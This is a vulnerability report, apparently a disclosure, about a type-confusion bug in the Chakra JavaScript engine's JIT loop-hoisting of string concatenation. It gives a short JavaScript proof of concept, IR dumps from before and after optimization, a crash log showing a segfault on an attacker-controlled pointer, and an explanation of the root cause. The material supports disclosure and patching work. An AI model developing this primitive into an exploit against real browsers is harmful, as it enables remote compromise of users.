/*
Here's a PoC:
*/
function opt(str) {
for (let i = 0; i < 200; i++) {
let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
}
}
opt('x');
opt(0x1234);
/*
Here's the IR code of the PoC before the global optimization phase:
---------
FunctionEntry
s18.u64 =ArgIn_Aprm1<32>.var
s9.var=LdSlot s32(s18l[53]).var
s7.var=LdSlot s20(s18l[51]).var
s8.var=LdSlot s19(s18l[52]).var
s1[Object].var=Ld_A 0x7FFFF47A0000 (GlobalObject)[Object].var
s2.var=LdC_A_I4 0 (0x0).i32
s3.var=LdC_A_I4 200 (0xC8).i32
s4.var=LdC_A_I4 1 (0x1).i32
s5[String].var=LdStr0x7FFFF47B9080 ("AAAAAAAAAA")[String].var
s6[String].var=LdStr0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var
s17.var =InitLoopBodyCount
---------
$L1: >>>>>>>>>>>>>LOOP TOP>>>>>>>>>>>>> Implicit call: no
Line 2: i < 200; i++) {
Col 21: ^
StatementBoundary
s17.i32 =IncrLoopBodyCounts17.i32
BrLt_A $L3, s8.var, s3.var
Br $L2
---------
$L3:
Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
Col9: ^
StatementBoundary
s13.var =Ld_A s7.var
CheckFixedFlds21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var
s12[ffunc][Object].var = Ld_A 0x7FFFF47972C0 (FunctionObject).var
s22.var =StartCall2 (0x2).i32
s36.var =BytecodeArgOutCaptures13.var
s24[String].var =Conv_PrimStr s5.var
s25[String].var =Conv_PrimStr s7.var
s26[String].var =Conv_PrimStr s6.var
ByteCodeUses s7
s27.var =SetConcatStrMultiItemBEs24[String].var
s28.var =SetConcatStrMultiItemBEs25[String].var, s27.var
s29.var =SetConcatStrMultiItemBEs26[String].var, s28.var
s14[String].var =NewConcatStrMultiBE3 (0x3).u32, s29.var
s35.var =BytecodeArgOutCaptures14.var
arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var
arg1(s23)<0>.var = ArgOut_A s36.var, s22.var
arg2(s30)<8>.var = ArgOut_A s35.var, arg1(s23)<0>.var
ByteCodeUses s12
s31[CanBeTaggedValue_Int_Number].var = CallDirectString_CharCodeAt.u64, arg1(s34)<0>.u64
s9.var=Ld_A s31.var
Line 2: i++) {
Col 30: ^
StatementBoundary
s8.var=Incr_A s8.var
Br $L1
---------
$L2:
Line 5: }
Col1: ^
StatementBoundary
s16.i64 =Ld_I461 (0x3D).i64
s19(s18l[52]).var = StSlots8.var
s32(s18l[53]).var = StSlots9.var
StLoopBodyCounts17.i32
Rets16.i64
----------------------------------------------------------------------------------------
After the global optimization phase:
---------
FunctionEntry
s18.u64 =ArgIn_Aprm1<32>.var!
s9[LikelyCanBeTaggedValue_Int].var = LdSlots32(s18l[53])[LikelyCanBeTaggedValue_Int].var!
s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlots20(s18l[51])[LikelyCanBeTaggedValue_String].var!
s8[LikelyCanBeTaggedValue_Int].var = LdSlots19(s18l[52])[LikelyCanBeTaggedValue_Int].var!
s5[String].var=LdStr0x7FFFF47B9080 ("AAAAAAAAAA")[String].var
s6[String].var=LdStr0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var
s17.var =InitLoopBodyCount
s42(s8).i32 =FromVars8[LikelyCanBeTaggedValue_Int].var
s27.var =SetConcatStrMultiItemBEs5[String].var
s49[String].var =Conv_PrimStr s7<s44>[String].var
s28.var =SetConcatStrMultiItemBEs49[String].var!, s27.var!
s29.var =SetConcatStrMultiItemBEs6[String].var, s28.var!
s14[String].var =NewConcatStrMultiBE3 (0x3).u32, s29.var!
BailTarget
---------
$L1: >>>>>>>>>>>>>LOOP TOP>>>>>>>>>>>>> Implicit call: no
Line 2: i < 200; i++) {
Col 21: ^
StatementBoundary
s17.i32 =IncrLoopBodyCounts17.i32!
BrGe_I4$L2, s42(s8).i32, 200 (0xC8).i32
Line 3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
Col9: ^
StatementBoundary
CheckFixedFlds43(s7<s44>[LikelyCanBeTaggedValue_String]->charCodeAt)<0,m~=,++,s44!,s45+,{charCodeAt(0)~=}>.var!
s22.var =StartCall2 (0x2).i32
arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var!
arg1(s23)<0>.var = ArgOut_A s7<s44>[String].var, s22.var!
arg2(s30)<8>.var = ArgOut_A s14[String].var, arg1(s23)<0>.var!
s31[CanBeTaggedValue_Int_Number].var = CallDirectString_CharCodeAt.u64, arg1(s34)<0>.u64!
s9[CanBeTaggedValue_Int_Number].var = Ld_As31[CanBeTaggedValue_Int_Number].var!
Line 2: i++) {
Col 30: ^
StatementBoundary
s42(s8).i32 =Add_I4 s42(s8).i32!, 1 (0x1).i32
Br $L1
---------
$L2:
Line 5: }
Col1: ^
StatementBoundary
s8[CanBeTaggedValue_Int].var = ToVars42(s8).i32!
s19(s18l[52])[CanBeTaggedValue_Int].var! = StSlots8[CanBeTaggedValue_Int].var!
s32(s18l[53])[LikelyCanBeTaggedValue_Int_Number].var! = StSlots9[LikelyCanBeTaggedValue_Int_Number].var!
StLoopBodyCounts17.i32!
Ret61 (0x3D).i32
----------------------------------------------------------------------------------------
Crash log:
[----------------------------------registers-----------------------------------]
RAX: 0x1000000001234
RBX: 0x7ffff47c5ff4 --> 0x31 ('1')
RCX: 0x7ff7f4600000 --> 0x0
RDX: 0x0
RSI: 0x80000001 --> 0x0
RDI: 0x1000000001234
RBP: 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 --> 0x7fffffff48b0 (--> ...)
RSP: 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234
RIP: 0x7ff7f385017a (cmpQWORD PTR [rax],r10)
R8 : 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp)
R9 : 0x7ff7f4600000 --> 0x0
R10: 0x55555cfbc870 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>: push rbp)
R11: 0x7ffff47b9080 --> 0x55555cfa0f18 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:push rbp)
R12: 0x0
R13: 0x7ffff47b36b0 --> 0x55555cfbee70 --> 0x555557fc27e0 (<Js::RecyclableObject::Finalize(bool)>:push rbp)
R14: 0x0
R15: 0x1000000001234
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ff7f385016e:movBYTE PTR [rcx+rax*1],0x1
0x7ff7f3850172:movrax,QWORD PTR [rbp-0x10]
0x7ff7f3850176:movr10,QWORD PTR [rbp-0x18]
=> 0x7ff7f385017a:cmpQWORD PTR [rax],r10
0x7ff7f385017d:je 0x7ff7f385037c
0x7ff7f3850183:movrcx,rax
0x7ff7f3850186:movQWORD PTR [rbp-0x18],rcx
0x7ff7f385018a:moveax,DWORD PTR [rcx+0x18]
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffef340 --> 0x7ffffffef3b0 --> 0x1000000001234
0008| 0x7ffffffef348 --> 0x7ffff471c1e0 --> 0x55555cf48850 --> 0x555556c17100 (<Js::FunctionBody::Finalize(bool)>:push rbp)
0016| 0x7ffffffef350 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708
0024| 0x7ffffffef358 --> 0x7ffff471c298 --> 0x7ffff4774140 --> 0x10f1215030708
0032| 0x7ffffffef360 --> 0x7ffffffef410 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 --> 0x7ffffffefef0 (--> ...)
0040| 0x7ffffffef368 --> 0x555556c40b8b (<Js::CompactCounters<Js::FunctionBody, Js::FunctionBody::CounterFields>::Get(Js::FunctionBody::CounterFields) const+139>:movzxecx,BYTE PTR [rbp-0x22])
0048| 0x7ffffffef370 --> 0x7ffff47a4238 --> 0x7ffff47c5fe0 --> 0x7ffff4796a40 --> 0x55555cf4df58 --> 0x555556cb7a20 (<JsUtil::List<Js::LoopEntryPointInfo*, Memory::Recycler, false, Js::CopyRemovePolicy, DefaultComparer>::IsReadOnly() const>: push rbp)
0056| 0x7ffffffef378 --> 0x7ffffffef4a0 --> 0x7ffffffef4c0 --> 0x7ffffffef590 --> 0x7ffffffefb90 --> 0x7ffffffefc90 (--> ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ff7f385017a in ?? ()
Background:
Invariant operations like SetConcatStrMultiItemBE in a loop can be hoisted to the landing pad of the loop to avoid performing the same operation multiple times. When Chakra hoists a SetConcatStrMultiItemBE instruction, it creates a new Conv_PrimStr instruction to ensure the type of the Src1 of the SetConcatStrMultiItemBE instruction to be String and inserts it right before the SetConcatStrMultiItemBE instruction.
What happens here is:
1. The CheckFixedFld instruction ensures the type of s7 to be String.
2. Chakra judges that the CheckFixedFld instruction can't be hoisted in the case. It remains in the loop.
3. Chakra judges that the SetConcatStrMultiItemBE instructions can be hoisted. It hoists them along with a newly created Conv_PrimStr instruction, but without invalidating the type of s7 (String).
4. So the "s49[String].var =Conv_PrimStr s7<s44>[String].var" instruction is inserted into the landing pad. Since s7 is already assumed to be of String, the instruction will have no effects at all.
5. No type check will be performed. It will result in type confusion.
*/